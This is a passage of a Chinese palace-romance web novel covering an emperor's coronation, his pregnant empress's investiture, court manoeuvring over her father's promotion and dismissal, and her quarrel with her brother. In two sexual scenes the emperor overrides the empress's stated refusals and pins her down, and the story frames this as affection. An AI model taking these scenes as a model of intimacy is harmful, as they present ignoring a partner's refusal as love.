最后一幅画上,不仅画了文昭仪,还有一个孩子,母亲看向幼子,满目慈悲,正在给幼子喂着羹汤。 元衡盯着那画看了许久,放下手中的章,将那幅画抽了出来,叫云蚕将那幅画送去宣光殿,目光却始终在手里那幅画上。 他嘴角似有一点笑意,“皎皎,朕想要这幅画” 岑璠画这幅画,本是觉得这样更能给宣光殿的皇后添堵,并没有想这么多。 她恨文昭仪,也恨元衡,若是看到这幅画上的两个人其乐融融,想必是会疯掉吧。 岑璠一这么想,心底便萌生出一点快意。 可恍然间她却又忽然清醒过来。 手中尚有画笔,青墨顺着毛笔滴在纸上,晕开一片,染脏了那幅美人图。 她低头看着那幅画,心底生起一阵寒芒。 自己怎么会萌生出这样的想法 她画分明是为了让人喜欢,那祈州的小厮也曾说她笔下画的人热闹,而现在呢? 现在她要用自己手中的笔,还有自己笔下的人去害人。 就算是要报仇,也不该是用她自己的画才对… 可她竟是情不自禁。 元衡看出她的异样,问道:“怎么了?” 岑璠回过神,觉得手中拿的东西比刀还要锋利,慌忙放下手中的笔,“你拿去吧。” “这是最后一幅,不会再画了。” * 登基大典在半月之后进行。 皇后册封的仪式也在这日,不过一切从简,一来是因为她有身子,二来也是因为怕她不高兴。 她本来就讨厌这些,他千方百计把她骗回来当皇后,还要她学这些规矩… 登基那日,两人一起起床更衣,元衡一 直战战兢兢的,生怕她在宫人面前开口讽刺他两句。 可她并没有,似是认下了这一切。 有宫女正在为她更衣,元衡忍不住多看了几眼。 不知是不是错觉,他竟能看出她的小腹微微隆起了一点。 戴好冠后,元衡走到了她身边,目光盯在她的肚子上。 那身窄袖襦裙已经罩在了身上,方才看见的那些仿佛都是错觉一样。 他情不自禁伸出手,也不知道她是不是故意的,恰好用手挡住自己的小腹,坐去了妆台。 她怀着身子,妆容未修,朱唇粉腮,倒依旧撑的起头上的莲冠。 帝后并坐龙辇,自宫道而出,元衡下辇时,牵住了她的手。 他的手握的很紧,岑璠觉得手有些疼,周围都是皇族贵臣,却也不好公然说什么,让他这个皇帝威严扫地,只能用染了蔻的指甲轻轻划他的手背。 他似是意识到,手松开了些,扶她沿阶而上。 她裙摆曳地,女官自后提起她的裙摆,群臣跪拜,如众星捧月。 走上祭坛,两人点燃香火,祭告天地,护佑社稷,一同跪拜。 起身时,就像过去很多次一样,元衡伸出手来,要扶她起身。 宫中的嬷嬷教礼数时,岑璠并未听说他要做这些。 她抬起手来,将手放在那掌心的一刹那,他便紧紧握住。 他继续带她走上高台,将册封诏书再次昭告天下。 岑璠并没有跪下,这是元衡的主意。 他说她跪一次便够了。 那封诏书送到她手里,她低身福了一礼,而后转身,迎来的是众臣朝拜,齐声高喊。 不得不说,将这么多人尽收眼底,是有一瞬间的恍惚。 难怪有这么多人为了皇位,还有后位要你死我活。 岑璠心里响起这样的声音,可一道天光自云间晃过,便瞬间又清醒了。 有得必有失… 她坐上这皇后的位置,能有几个人是真心跪的? 她和腹中的孩子,会不会成为第二个文昭仪,也是个未知数。 她微微摇了摇头,甩开心中杂念,元衡有所察觉,以为她站不住,心头一紧,又握紧了她的手。 几道新政随后布下,有关于军镇的,还有关于大河的,总之对于百姓来说不是坏事。 接着又任免了几个官员。 世家和旧贵族,有升有贬,权利交替,她认得的约莫也只有郑氏。 郑峋被升任中书丞,拜丞相之位,他站在高处,上前接诏书。 元衡亲自将诏交到了郑峋手中。 岑璠想到了他那父亲,往高台下一扫。 她那父亲做太常丞,想来这场典仪,也有她父亲的操办。 她出嫁时,她的父亲连问都没问过,反倒是黄氏时而张罗,约莫那个时候,她的父亲没有想过皇后会倒台。 想来虞佑柏心里定不是滋味。 可她要的并不只是这些。 起码在她做皇后的时候,她要让他把不该属于他的,还有欠母亲的都还回来。 * 岑璠回到含章殿,并未跟随元衡去太庙祭拜先祖。 还未换下冠服,珝儿便跑了进来。 这些日珝儿一直留在宫中,元衡托郑峋从族人中找了学问好的,入宫亲自教导。 他身上还穿着学童的长袍,看起来像模像样。 他并不是恰好要来看她,而是特地要来看她的礼服。 那莲冠用璀璨的金子珠石堆砌成,珝儿端详一番,张大了嘴。 “阿姊不觉得重吗?” 芸蚕和乳娘在两旁,将她头上的冠卸去,乳娘道:“这冠自然是重的。” 珝儿手臂支在桌上,好奇地看着两人卸冠,那冠下的额头都压出了红痕。 “阿姊还有身子,肯定累坏了吧。” 岑璠难得听他说一句好体谅话,微微颔首。 珝儿歪着头,想到自己就要做这个孩子的小舅舅,又好奇地朝她肚子上仔细瞧了瞧 “阿姊的肚子,怎么一点都看不出来啊。” 他记得母亲怀黄瑜那丫头的时候,早些时候便能看得出来了。 岑璠低头看了看,轻声道:“就快了。” 她对自己的身子了解,昨日沐浴的时候,其实已经能看出来腹部微隆了。 这几日她腹中也能感觉到胀感,想来是因为这个孩子的存在。 前些时日,她还对这个孩子没什么感觉,只觉得这是个麻烦,这几日才切切实实感觉到他的存在。 这是会从她身上落下来的活生生的小娃娃。 岑璠伸出手,手指轻轻摸了摸自己的小腹。 她好像不是不能接受自己有个血脉相连的孩子存在。 * 元衡回来时,岑璠已经梳洗好。 她坐在床上,额上的红印已经消下去许多,只留下浅浅的痕迹,芸蚕正在一旁为她按着头。 元衡让芸蚕贴身伺候,也是看上了她会按摩这一点。 她额头上的红印,元衡注意到了,隔着薄薄一层寝衣,他当然也能看得出其他的。 他清晨时没有看错,她的肚子是隆起了一些。 她肚子里的孩子正在慢慢长大… 上一世,她还没有显怀,那个可怜的孩儿就夭折了… 现在这个孩子真的要来了。 元衡盯着她的肚子,不满足于此,想看得更真切些。 那眼神让岑璠发毛,她下意识想去遮挡,他慢慢压近,竟是拽上了她的衣带。 岑璠心底骂了句“混蛋”,竟是连这个时候,他都忍不住这事。 她下意识想阻止他,他似感受到了她的抗拒,没执着再去拉她的衣带。 他用了巧劲,将她推上榻,夹住她的大腿,像是钳制住一只蹬脚的兔子,手自下而上,将她身上的寝衣掀至胸口。 那小腹隔着一件小衣,隆起得明显,映入眼帘,元衡顿时红了眼。【你现在阅读的是 】 100-110 第101章 第一百零一章记房事 岑璠拗不过他,怕挣扎的幅度太大,只警惕地盯着他的反应,平躺在床上喘息。 他还是不满足,解开了她小衣的带子,露出她光滑的小腹。 两件衣衫都被他堆到了胸前,凌乱不堪,岑璠用力挣扎,“放开!” 元衡不肯,压住她的手腕,轻哄道:“皎皎,你就让朕多看几眼……” 他的眼睛像一只贪婪的狼,直直盯在她的肚皮上,似是想看明白,她的肚子是从哪里开始隆起的。 他看不明白,觉得这事神得很,找了许久,最后指向她腹心最凸起的地方,轻声道:“他是在这里吗?” 岑璠道:“我怎么知道?” 元衡笑了笑,俯下身朝着她隆起的肚皮上吻了一下。 岑璠深吸一口气,收紧了肚子。 他也没停太久,弯起一个笑容,想帮她拉下衣裳。 不知道怎么,他总感觉她衣裳堆起的地方也像是隆起了一些,衣裳下被撑起一片空隙,轻轻战栗。 过去他只在情动的时候看见过她这样。 “你是不是也喜欢这样?”他恬不知耻地开口。 岑璠:“……” 她打掉他要伸过来的手,自己要坐起来,他却是覆了上来,躬起身子,刻意没有压住她的肚子。 没有说出的话被全被唇堵住。 岑璠捶打着他的胸口,那力道对于元衡来说,显得微不足道。 她扭过头,趁着他追过来的间隙,骂了一声“混蛋”! 她挣扎地剧烈,元衡心有忌惮,停了下来。 他覆在她耳畔,道:“皎皎,今天若是放在寻常人家,也算是成亲的。” 岑璠不耐烦地抿唇,提醒道:“殿下,咱们已经成过一次婚了。” 元衡没有反驳她,承认道:“那封和离书是朕赖账了,今天就算是朕补偿给皎皎的婚礼…” 毕竟二婚,也算是成婚吧… 相处一年多,岑璠竟是立刻读懂了他说这些的意思。 她侧头去看他,唇与唇近在咫尺,挑起眉问道:“陛下是也想要那洞房花烛了?” 元衡沉默了片刻 ,没有否定,反倒离得更近了些,“朕不进去,只让你舒服,好不好?” 他的这句鬼话,岑璠一个字都没信。 若是让她舒服,他就该停手,说到底是他管不住自己… 岑璠直视着他,一字一句道:“我不需要。” 元衡却像是没听见,凭着对她的了解,触及她的耳后。 他只褪去了外面那层朝服,里层的玄色锦衣还未褪去。 岑璠咬紧牙,攥紧了他后背的衣裳,不知道是不是因为怀孕的缘故,她竟是有点想… 元衡有所察觉,解开她寝衣的衣带,俯身而下,时不时抬眼看向她的反应,那眼神倒真的像是在问她舒不舒服似的… 他越来越低,却始终没有压到她的肚子。 岑璠却不放心,抱住他的头,“你别压…” 元衡起身,倒是当真没再压她。 只是也没停下。 她的腿抬起,脚跟抵在他的后背上,那还未褪去的衣裳被蹭乱了些。 最后也抵不住他带来的浓烈,双膝并起。 …… 元衡的那身衣裳始终未褪,可到底也不能再穿了。 岑璠裹着被子,面上的红润未散去,只微微喘息,肚子里的孩子显然无事。 元衡还是不放心,推开门叫人芸蚕去煮碗安胎药来。 芸蚕愣了愣,不曾想屋内刚刚竟是发生了那种事。 宫中即便的嫔妃再受宠,孕时也很少有侍寝的… 起码先帝在的时候,她没有听说过。 芸蚕一时摸不清头脑,依言照着前些时日安胎的方子煮了药来。 屋内已经有人在侍候,方才衣冠不整的皇帝,已经换上了常服。 芸蚕走时,总算是瞟见了这对帝后的相处。 那威严的帝王,正轻轻抚摸着自己皇后的手臂,似是在哄着皇后喝药… 芸蚕不禁又想起前些日皇帝脸上的巴掌印,似是终于明白了… 伺候好皇后,也许比迎合好皇帝更重要。 出门后,有女官追上来,悄声问道:“程公公方才让我来问芸蚕姑娘呢,刚才陛下可是和娘娘…行房事了?” 芸蚕脸不禁红了些,“算是吧…” “你同我说说,我好去告诉程公公,让他记事。” 芸蚕说不口,她甚至不知道两个人做了什么,她进屋的时候,皇后只穿了件小衣,陛下的衣裳自始至终都是齐整的… “别记了。”芸蚕道:“娘娘有着身子,况且国丧才刚过呢…” 女官心也跳了一下。 这位帝王和先帝的关系微妙,登基之时不是没有流言传出,说新帝是弑父上位。 虽说皇帝的孝期以月代日,可先帝毕竟才走了两个月,和怀孕的皇后做这事倒也不妥。 女官闭上了嘴,四周轻瞟,没再提起这事。 芸蚕想想刚才的场景,又添了一句,“明日你去问问槿儿姑娘,若是皇后不愿,以后也别记了…。” * 翌日,岑璠睡到了晨时。 早膳后,又一碗安胎药送到了她的桌前。 喝过药后,芸蚕和槿儿来给她更衣,那身宫装要比她前些日子穿得腰间宽松许多,显然是为了不勒住她的肚子,有意为之。 芸蚕不禁感慨。 过去每个月,尚衣局都会给皇帝制出十件衣裳,新帝登基后,将数量减半,可皇后这边的衣裳却是一件不省下,都用的最好的料子。 皇后有身子,肚子一天一个样,这衣裳只会越换越勤… 她这么想,只是没见到岑璠也盯着身上的衣裳。 “你给她们说,以后这衣裳再做大些吧。”岑璠道。 这样一件衣裳能穿久些,她们也能少裁量几次。 芸蚕愣了愣,点头道了声“是”。 换好衣裳后,岑璠便去了太极殿。 至西堂议事的偏殿,正巧碰见了两个大臣,两人正在悄声说什么,似是惊魂未定。 见到岑璠迎面而来,两人恭恭敬敬行了一礼,什么也没说,似只想快点离开。 岑璠走到殿前,周公公正守在殿外,面色说不出的为难。 岑璠问过后才知,原来是他这个做皇帝的,冲别人发脾气了。 她推开门,未曾通报便走了进去。 那殿内还有一卷竹简被摔在地上,岑璠瞧了眼绷着脸的男人,捡起那竹简。 元衡正过头,注意到了她,几乎立刻收起脸上残存的怒意,站起身朝她走来。 他抢过她手上的竹简,问道:“皎皎怎么来了?也不找人说一声?” 随后他低头,看了看她身上的衣裳,满意道:“刚刚好…” 他扶着她向前走,不知道该让她坐在哪里,最后索性扶着她坐上了他的龙椅。 “这衣裳如何?有没有感觉肚子勒得紧?” 面对他连连的发问,岑璠无奈,“陛下,这孩子还小,衣裳很合适。” 元衡“哦”了一声,便不再过问。 这是她第一次自己跑来这太极殿,可他却也有自知之明,明白她是无事不登三宝殿。 “皎皎来可是有什么事?” 岑璠却先是问道:“陛下刚才为何生气?” 说到这事,元衡竟还有些委屈,“还不是军镇的事,皎皎也是知道,朕拿到穆氏的地有多难…” “皎皎昨日应该也听到了,朕打算废除军镇的军户承袭的规制,方才朕找了平城附近的氏族,想让他们将手中的荒地拿出来,分给散落的军户。” “你不知道,那些老匹夫一个二个,比穆氏难对付多了,一个说那块儿地已经分给当地的农户,一个竟是说自家好几块儿坟开在田上,用银两都不好使,朕现在是皇帝,总不能每一家都拿官位换,这成什么样了…” 他絮絮叨叨,对她抱怨一通,心情舒畅不少,蓦地又停声,低下头道:“朕不说了,你和孩子听多了不好…” “朕已经想好了,这田朕必须要,大不了给他们官位,再慢慢架空他们。” 他徐徐而谈,将真实的想法俱说与她听。 岑璠记得,历朝历代后宫不得干政,她也没什么本事干政… 可他说给她,似乎只是一个孤家寡人向她抱怨。 她叹了口气,“陛下想做什么,便去做吧。” “当真?”元衡问道。 岑璠从来都觉得他会是个好皇帝,她微微颔首,“当真。” 元衡将她揽入怀中,“皎皎,这宫里也就只有你能听朕说这些了…” 岑璠缄口不言,须臾后问道:“殿下可还记得公主曾经说过,我父亲在宫中做乐师的时候,和皇后有些关系?” 元衡这才重新想起,她来到此处,是来找他有事。 他收起些笑容,问道:“皎皎想做什么?” 岑璠也懒得同他拐弯抹角,“不属于他的东西,我想让他还回来。” 元衡道:“你父亲在当乐师时和皇后确实有所往来,不过倒也没有错处,或者说是朕没查出什么。” “可妾就是不想让他好过,妾身也不想要肚子里的孩子知道,自己有这样的父亲。” 元衡沉默了片刻,看她的眼中带有笑意,“皎皎,你看我们,是不是很像书中写的昏君和妖后?” “像。”岑璠也向他弯起一个笑,追问道:“陛下答应吗?” 元衡低头看了看她的肚子,想也没想便答应了下来,“当然答应,皎皎想的,朕都答应,这事也不难办…” 第102章 第一百零二章已经四个月了… 隔日,虞佑柏接到了圣旨,宣他去明日早朝。 其实自家女儿入宫的第二日,皇帝就曾让人来太常寺带过旨意,让他们一众人等筹备登基大典和皇后的册封仪式。 那时他想借着机会问问自家女儿的胎稳不稳。 只是周公公没有回答他,说让他好好在太常寺筹备大典,不必想别的。 先帝册封过两任皇后,不论是杨氏还是胡氏,册封过后,家族中人都有被重用过。 如今的皇帝对皇后的宠爱,近乎到了痴狂的地步,宫中几乎无人不知,而他这个做父亲的,即使是个六品官,皇帝都不愿意提拔… 那一日过后,太常寺暗地里议论他的不少,都说他这个父亲曾经亏待过皇后,如今是遭了报应。 他虞佑柏不是没有想过去宫里见女儿和儿子,可皇帝不给他机会啊! 不过他这些年在朝做官,自问也没什么错处,这次大典也准备的滴水不漏。 除了一时昏头,招惹上了那废后,甩也甩不开… 无论太子妃还是柳氏,背后的原因肯定没有那么简单。早些时候他便隐约觉得晋王非池中之鱼,皇后不一定斗得过。 过年时他将珝儿留在岑璠身边,本就是为防晋王夺位的一步棋。 有珝儿在 岑璠旁边,就算他虞佑柏再怎么样,也不会丢了性命。 这段日子他便是这样劝说自己。 况且若是他非要弯下腰去见岑璠,那不是正好让那些人看笑话? 可如今册封仪式已结束,皇帝也已经登基一个多月了,这个时候找他做甚? 虞佑柏猜不出,也不想去,可那是圣旨,又不能不去… 翌日,虞佑柏还是穿上了自己的朝服,听诏去往宫中。 那身朝服,上身是大袖红衫,下却还穿着胡人常穿的褶裤,早几年南边的文人还挥笔洒墨,嘲讽过这种穿法的不伦不类。 像虞佑柏这种文人,习惯穿大袖长袍,穿起朝服,看起来更是别扭。 一般来说,五品以下的官员,是没资格上朝会的。 虞佑柏一路低头而行,可这张陌生面孔还是免不了招来异样的目光,纵使站在一众朝臣的最末尾,还是有人时不时回头看他。 虞佑柏抬起头时,恰好和太常卿王柬目光对了个正着。 王柬朝他笑了笑,目中有不加掩饰的嘲弄,像是等着看他笑话。 虞佑柏一时觉得尴尬,看着殿内尚空的龙椅,心中也愈发不安。 皇帝来后,正常同其他人议论朝事,虞佑柏插不上什么话,一言不发,甚是煎熬。 直到快下朝时,元衡才装模作样环望四周,问道:“太常丞虞氏何在?” 虞佑柏上前,行了一礼。 元衡竟是露出了笑容,“岳父不必行礼。” 此话一出口,满朝寂静,虞佑柏头脑发蒙,一时也不确定刚才皇帝说了什么。 是…叫他岳父? 虞佑柏浑身泛起冷汗,眼睛到处乱瞟。 古往今来,这可没有皇帝在朝堂上叫臣子岳父的,就算是真岳父也不该这么叫… 虞佑柏不敢起身,越来越觉得是自己听错了。 元衡笑了笑,示意周照宣读旨意。 虞佑柏这次听的清楚,那道旨意是要给他升官… 不仅如此,还是连升两个品阶,让他当四品中书侍郎! 虞佑柏只想打自己两巴掌。 他没听错?不是诏他来羞辱他,而是要给他升官? 他缓缓起身,震惊之余,周照已经将旨意递到了他面前。 稀里糊涂下了朝,虞佑柏手中还捧着那道圣旨,时不时有人经过时看向他。 他还是想不通这道旨意,难不成是珝儿在宫里说了什么? 忽然,肩膀被狠狠撞了一下。 虞佑柏回过些身,转过头去,看到了王柬,不似刚才那般看热闹的表情,更多是愤恨。 王柬见他停了,也没打算道歉,一甩袖道:“靠女儿算什么本事!” 虞佑柏看着他走过,而后目光又回到明晃晃的圣旨上,眨了眨眼,恍然间想到了什么。 他抬起头来,望向四周朝臣,无一人同他道喜,每个人的眼睛却似乎都落在他的身上。 皇帝下这道旨意,分明没打算放过他!不过是想借力打力,给自己和岑璠一个好名声罢了! 虞佑柏顿时觉得,那道圣旨像是淬过毒的赃物,恨不得现在便扔掉。 可也扔不得… 虞佑柏思量片刻,掉头向太极殿走去。 帝王早已不在殿上,无可奈何下,虞佑柏只能躬下身,请宫人带话给皇帝,说自己又是求见。 本不报太多希望,谁知那些宫人并没有为难他,反倒是让他入了太极殿西堂。 不过他还是没等到皇帝。 过了一个时辰,周照才带了话来,“娘娘不舒服,陛下现下在陪娘娘呢…” 他试探着问道:“大人不如先回去?” 虞佑柏先是点头,准备行礼告退,却又想到什么,轻声问道:“皎皎她无事吧?” 周照笑道:“大人放心,有陛下在,娘娘无事。” 虞佑柏应了一声,行过礼后打算离开。 刚转过身,才又想到自己是来做什么的… 他蹲住脚步,欲言又止,又不知道刚才想过无数遍的推脱之言该找谁说。 周照了然地笑道:“陛下说了,大人这官必须得安心做。” “皇后娘娘日夜忧思,总觉得亏欠大人,大人只有接了这官,皇后娘娘才能安心。” 这下虞佑柏彻底说不出话了。 那道圣旨仿佛有千斤重,压得人喘不过气,走出宫门时,虞佑柏眨了眨眼,挤出两滴眼泪。 虽是胜任四品,接连几日在任上,虞佑柏脸上都没怎么显露出笑容,也并未摆什么宴席找人庆祝,官升得悄无声息。 可即使是这样,官终究是得了,也架不住有人眼红。 这几日,不少人上书谏言,说来说去,不过是搬来前朝的旧事,劝元衡莫要偏重外戚。 更有甚者,拐弯抹角说他不该听皇后的枕边言。 元衡将骂自己妻子的人一一记了下来,继续找自己想要的谏书。 终于还是让他找到了一封。 那王柬说,虞氏为柳氏姻亲,当初并未受到牵连,是因为废后庇护。 元衡点头,默念了一声王柬的名字。 他合上谏书,叫来韩泽,道:“你让皇后来趟太极殿,给朕送碗羹汤吧。” 韩泽这些时日在宫中忙得不可开交,只觉得自己刚才听岔了。 这两位主子的情况,他再清楚不过。 让皇后送羹汤… 该是陛下把羹汤捧去皇后面前才对吧! 韩泽确认道:“陛下可是说,让皇后娘娘来太极殿?” 元衡也想到,若是让她无缘无故来,她肯定会不愿。 说不定晚上还要给他脸色看,上床去睡都难…… “你就同她说,她只要肯来送汤,她父亲的事朕就能办妥…” 韩泽对他们这位皇后的性子也了解些许,要是这么说,肯定是要不高兴的。 他小心翼翼暗示,“陛下可还有别的要说同娘娘说?” “没有了。” 韩泽抿起唇,应了下来,亲自跑了趟含章殿。 岑璠当真来了,紫芯在她身后,提的食盒里面装着元衡要的那碗汤。 岑璠接过汤,亲自将那汤送进殿去。 她开门前,元衡便注意到殿外的动静,岑璠打开门时,他就站在她对面,离门不远的地方。 岑璠眉微微竖起,跨入殿内,元衡连忙走过去,将她身后的门关上。 她的肚子鼓得快,一天一个样,这才过去不到半个月,便是穿上衣裳都能看出来了。 门一合上,元衡便接过她手上的食盒,将她扶到自己写字的案前。 玉玺还有朝臣的书信都在桌上,岑璠看了他一眼。 元衡满不在意,只想扶着她坐下。 岑璠仍然站在一旁,道:“陛下若是想让我来送汤,大可以直说。” “朕没有骗你…你先坐。”元衡执意按着她坐下,岑璠心有犹疑,还是缓缓坐下。 元衡跟着坐在一旁,邀功似的将最上面那张封信递给她,“皎皎你看,这些都是弹劾虞氏的,朕办的快不快…” 岑璠接过王柬的那封信读了读,半信半疑地看着他。 元衡笑了笑,“朕说了,皎皎想做的,朕都能办到,只要你在朕的身边…” 岑璠没有听完他的这些废话, 放下手里那张信,面色未改又随手挑了一封。 元衡却显然被吓了一跳,按住她的手道:“皎皎,这些信不是随便能看的…” 岑璠不喜不怒,浅浅一笑,“我就想看看。” 她使了点劲,抽出那封信一读,眼尾微挑,余光看向他,“自古外戚专政,祸国殃民,望陛下切莫亲信谄媚之言。” 她将这句念给他听,元衡慌慌张张扯过那封信,将她揽住,轻嗅她的发香,“皎皎…孤不会让你当他们口中的妖后的。” 他轻哄,“皎皎放心,你送这碗汤来,朕明日让你当贤后…” 岑璠显然不信,“送一碗汤,陛下便能让我当贤后?” 元衡觉得这一点他没骗她,肯定地点头,心思却早已不在这上面。 他闭上眼,享受着弥漫在周围的清香。 自从她有了身子以后,他便在没让人在屋里熏过什么浓香,自己身上常熏的沉香也停了,唯一能闻到的也只有偶尔洒在她衣上的花香。 这种味道,实在太好闻了… 他呼吸逐渐紊乱起来,低头看向她的腰腹,“他是不是已经有四个月了?” 岑璠抬头,刚想说他明知故问,却窥见了他眼角的那点带着欲的红。 她不着痕迹地低下眼,毫无征兆地就要起身。 他握住了她的手腕,靠的更近了些,“皎皎,朕把这件事办的那么好,有没有赏?” 岑璠后牙紧咬,斩钉截铁道:“没有。” 他抵住她的额,微微往下,像是在摇头,又像是在难以抑制地轻蹭,“皎皎,朕有点难受…你能不能在这里待久些?” 第103章 第一百零三章朕不会伤到你们的 岑璠双手制住他的下颌,“殿下难受,那便去请太医,我治不了,孩子也遭不住。” 元衡握住她的手腕,低下头,她坐得离他极近,手伸出一点,便能刮蹭到她的小腹。 “四个月了,可以的。” 岑璠脸一阵红一阵白,“殿下不是前些时候才说,不能教坏孩子,这又算是什么?” 元衡轻轻咬了一下她的下巴,“他能懂什么?听不懂的…” “父母恩爱,他该高兴才对。” 岑璠咬起牙,用手抵开他的脑门。 他仰着头,一双凤眼温柔如水,像是无辜的孩童,轻声道:“皎皎,就当是演戏,再陪朕演像一点,朕让你做贤后,让他们都说不了你…” 事到如今,岑璠才恍然大悟,原来能不能做贤后,都是皇帝说的算的。 只需要皇帝愿意,黑的便能说成白的。 那倘若有朝一日他厌恶她了,是不是也能轻易将白的说成是黑的,就像是宣光殿的废后,还有杨氏? 岑璠打心底里厌恶,告诉他,“我不想演。” “原来连演都不愿意吗…”元衡眼中黯淡了一瞬,可下一刻拇指却触上了她的睫毛。 一根根睫毛像是花蕊,在他指中扫过,如同被风吹拂,轻轻颤动。 “那皎皎便当作是朕想要,朕很难受,想要你…” 从入宫后,岑璠就隐隐感觉到他的奇怪,虽然平时看上去像是个人样,可有的时候看到她,就会露出不为人知的疯相。 她确实有些害怕,和这么一个人日夜相处。 她不敢乱动,怕他真的乱来,伤到肚子里的孩子。 这是她好不容易才能接纳的亲人。 “你放心,朕不会伤到你和孩子的…” 他闭上眼向下,吻落在她身上最难忍的地方,裙摆下遮住一双手。 她的手臂无处安放,握紧了桌沿,指尖泛白,面色红得如同宫中正盛开的桃花。 元衡笑了笑,仰躺在做榻上,把她往上托,“皎皎,你坐上来吧,不会压着的…” 不过半柱香的时间,便结束了。 准确说,不是结束,而是他停了下来。 岑璠从他身上下来时,分明看到他还没消下去。 元衡穿好衣裳,又来拢她的衣衫,系她的衣带时,手还是烫的。 他抱紧了她,过了许久后,好像什么都没有发生似的。 除了刚才她刚才着急,不小心打翻在地上的砚台和玉玺。 元衡看向她的肚子,自言自语道:“是父皇不好,不吵你了…” 岑璠捂住自己的肚子,阻隔这段对话,自己站起身来。 元衡却是没让她走,径自走到门前,唤来门外的宫人。 再进来时,他坐在桌案前,摆起一张冷脸,“都收拾干净。” 进屋的太监看到后明显愣了一下,抬头看了眼岑璠。 岑璠站在一旁,低眼看向那打翻在地的一片狼藉,偏过头去,显然不准备解释,也不觉得自己有什么错处。 太监弯下腰,将玉玺擦拭好,小心地捧回到桌上,又擦干净了打翻一地的墨汁。 收拾好后,殿内便又没了人。 刚才的威严像是瞬间垮掉的高楼,元衡道:“皎皎若是想走,现在可以走了…” 岑璠听到他的话,未曾再说半句便离开了。 * 翌日,宫里传出一道圣旨。 那刚上任不久的虞氏,被免了官职。 最高兴的莫过于王柬。 听说宫中的皇后昨日特地煮了汤,去太极殿找陛下。 当时皇帝正在看他呈上去的那封谏书,正打算处置他,却是皇后阻止了下来。 原来皇后去太极殿,也是觉得虞氏不堪重用,要劝陛下收回成命。 听说昨日陛下被皇后扫了面子,关起门来吵了许久,还朝皇后发了好一大通脾气,洒扫太监进去时,玉玺都摔在了地上… 皇后也不甘示弱,出太极殿时脸都争吵得红了,回去后还煮了碗安胎药。 不知道是不是因为龙子,皇帝当晚便服了软,今晨一早便下了诏。 王柬当晚约同僚痛快喝一场,临到酒楼前,背着手大声感叹一句,“眼看他高楼起,眼看他楼塌了。” 珝儿这几日功课做得还算不错,好不容易才得夫子允许出宫。 和他一起来酒楼的,乃是齐氏的三公子。 齐三公子眯起眼,“那不是王大人吗?” 这位太常卿曾是虞佑柏的上司,珝儿过去在宴席时而同自家父亲拜会,仔细瞧了瞧便也认了出来。 至于刚才王柬说的话,倒没怎么放在心上。 这局饭时珝儿请客,如今他算是皇亲国戚,又在宫里住着,他总觉得再让别人请客,实在说不过去。 他径自上楼,却是遇见了那娄氏三公子。 珝儿还没忘记,娄氏过去骗过他的事,横眉一竖,眼中满是警惕,挺起腰板来。 即使挺得再直,隔了一个台阶,还是得仰视。 娄三公子挑起眉,似是惊讶,从头到脚将他看了一遍,话里话外是嘲弄,“呦,你怎么还在这儿呢?从宫里出来,不回虞家,居然来酒楼。” 娄三公子回过头,他身后的几个人也附和,“就是!我看呐,虞氏就是养了个白眼狼!” 珝儿满脸通红,“你们什么意思,凭什么这么说我?!” 娄三公子哼了一声,“虞氏老爷今个儿都被陛下罢官了,你在宫里不知道?” 珝儿愣住,他前段日子才听说自己的姐夫将父亲连升了两阶… 怎么可能罢官? 嘲笑声不断灌入耳中,如今的珝儿也不怕他,“你再笑,我撕烂你的嘴!” 对面的人笑容并没有消失,娄三公子道:“你有什么值得我骗的?你爹被贬了官,还是你阿姊亲自去找陛下说的呢!” 他说完这句,似也有几分顾忌,懒得再同珝儿多争吵,一摆手,身后的人一个个从珝儿身边离开, 齐三公子犹豫道:“虞公子可否要先回去看看?” “不用你说!” 珝儿吼了一声,转过身下楼,只是到了门口,却有一辆马车等着他。 站在马车旁边的,是宫里的李公公。 “小公子,外面不太平,陛下和娘娘担心你,还是快随老奴回去吧。” 珝儿倒退了两步,下意识想要反抗,却又觉得自己再怎么样也跑不过宫里的人,还是老老实实跟着人上了马车。 回到宫中,珝儿却是闹了起来,“我要去见阿姊!” 李公公到底还是分得清轻重,皇后娘娘昨日本就和陛下吵了一架,他就算是死,也不敢这个时候让小公子去见皇后。 珝儿闹的越来越凶,最后竟是在宫里嚎啕大哭起来,连个能拿主意的人都没有。 谁知道没过多久,皇后娘娘自己来了。 李公公小心翼翼将人请进殿内,却隐约觉得这事会变得棘手,再三权衡,赶紧派人去太极殿请皇上。 岑璠进殿后,便禀退了所有宫人,槿儿不放心,留在了房内。 “是阿姊对吗?”珝儿问道。 岑璠爽快承认,“是。” “阿姊为什么要这么做?”珝儿眼睛还红着,上前几步,“好好的日子,阿姊为何 放着不过?” 岑璠坐在那里看他,华服凤冠,养在宫中,终归是多了些皇后该有的威严。 槿儿见状,替她说了句,“小公子不如先听皇后说两句。” 岑璠示意她禁声,开口道:“珝儿觉得,虞家能够依靠着我这个皇后平步青云,便是好日子,是吗?” “那阿姊觉得呢?咱们一家人其乐融融,难道这不是好日子吗?” “其乐融融…”岑璠胸口起伏,沉默了许久,道:“好,既然如此,今日有些话,我便同珝儿说清楚。” “我和父亲从来都是势不两立,有他没我,有我没他。” “你觉得我运气好,能嫁给陛下,可你知不知道,当初父亲他让宫里的人给我下过药,他想将我送给胡氏的好色之徒做妾,若不嫁给陛下,我便只能死。” 珝儿愣住,竟是有些听不懂,“阿姊说什么呢…是不是和父亲有什么误会?” “误会?”岑璠笑了笑,“能有什么误会,当年母亲便是这么被害死的,他就是想利用我们,然后再杀了我们,你的父亲自始至终都没有变过。” “珝儿,事到如今我便同你说吧,我想要的远不是这些,我根本不想叫他父亲,与其说是父亲,不如叫他杀母仇人。” 岑璠一字一句,让珝儿觉得太过陌生,他后退两步,不能理解,“阿姊怎么能说话!” 岑璠嘴唇微微收起,浅粉的唇上出现了一道牙印。 她直视他,坚信自己没错,她知道珝儿一直在逃避一些事,“珝儿,黄氏不是你的母亲,咱们的母亲是被废后和父亲害死的,父亲这个人对我们只有利用,不然他为何到你九岁的时候才将你接走?是因为黄氏没有儿子,他需要一个儿子来继承家业。” 珝儿捂起耳朵,“我不想听这些!” “她算是什么母亲,阿姊你难道忘了,她把我们关在山上的那几年,她就知道在那个屋子里画,她何曾管过我们,何曾想过我们?” “阿姊说是父亲害了她,可事实呢?分明是她一声不响把我扔在虞家,自己去了宫里,她也不过是想被皇后看上眼,何曾想过我?” “你…”岑璠被他气得有些头昏,槿儿连忙扶住她,“小公子先别说了…” “阿姊既是要把话说明白,那我也说明白些,我就是不喜欢她,她的祭礼我也不想去,我宁肯吃花粉烂脸也不去。” “你说什么?” 珝儿意识到什么,躲开她的目光,“这样的母亲,我不想要…” 